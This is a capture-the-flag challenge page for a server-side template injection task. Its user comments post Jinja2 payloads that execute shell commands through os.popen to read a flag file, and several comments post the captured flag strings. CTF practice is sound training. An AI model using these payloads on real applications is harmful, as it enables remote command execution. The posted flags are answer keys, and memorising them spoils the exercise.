Simple_SSTI_2WEB 未解决

分数: 10 金币: 3
题目作者: valecalida
一  血: Tokeii
一血奖励: 3金币
解  决: 15928
提  示:
描  述:
Simple_SSTI_2
评论
Madbilly 1年前

http://114.67.175.224:18352/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}

回复 0

2193089129 1年前

flag{fcceeaadd6c3246304799be2d01044dd}

回复 0

107zsm 1年前

http://114.67.175.224:15887/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}} flag{c22e39477ca829c8fead04aed6a1636d}

回复 0

Cty12315 1年前

http://114.67.175.224:11664/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}

回复 0

枂唁請栀123 1年前

flag{2b8e6babb5bf7c41d1785652ddb3b86e}

回复 0

wangguoqing 1年前

http://114.67.175.224:13322/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}

回复 2

NanMuSec 1年前

{{().__class__.__base__.__subclasses__[177].__init__.__globals__[%27__builtins__%27][%27eval%27](%27__import__("os").popen("cat%20flag").read()%27)}}

回复 0

A-A 1年前

先实验传入参数,因为没有提示,所以先从系统根目录找,逐渐找到flag

回复 0

yejindegaoshou 2年前

flag{e5adb3eb06e88e76a851e3c4816a9042}

回复 0

你呀你ii 2年前

大佬们ssti怎么学啊 T^T

回复 6
海尔希望小学 1年前

先这样再那样就行了

回复 1

xlxlxl 2年前

百度+自学

回复 5

riacky 2年前

自学

回复 5

liu666 2年前

有脚就行

回复 5

userdong 2年前

百度+自学

回复 5

凉情梦回 2年前

自学

回复 5

挽韵风林 2年前

自学

回复 5

WriteUp

image
valecalida

5 金币

评分(15)

解题动态

HK1ng 攻破了该题 13小时前
sun_space 攻破了该题 15小时前
ct1640 攻破了该题 1天前
zypts 攻破了该题 2天前
288728 攻破了该题 4天前
看writeup刷题 攻破了该题 5天前
冯123456 攻破了该题 6天前
小城阿扬 攻破了该题 7天前
smtall 攻破了该题 9天前
3028545694 攻破了该题 10天前
15248665739 攻破了该题 11天前
Zzz0529 攻破了该题 12天前
炸鱼饼 攻破了该题 13天前
怀抱晚安 攻破了该题 13天前
tingsi464 攻破了该题 14天前
nina123 攻破了该题 16天前
33538626867 攻破了该题 16天前
qgys 攻破了该题 17天前
19189756057 攻破了该题 18天前
吃个大西瓜 攻破了该题 18天前
问题反馈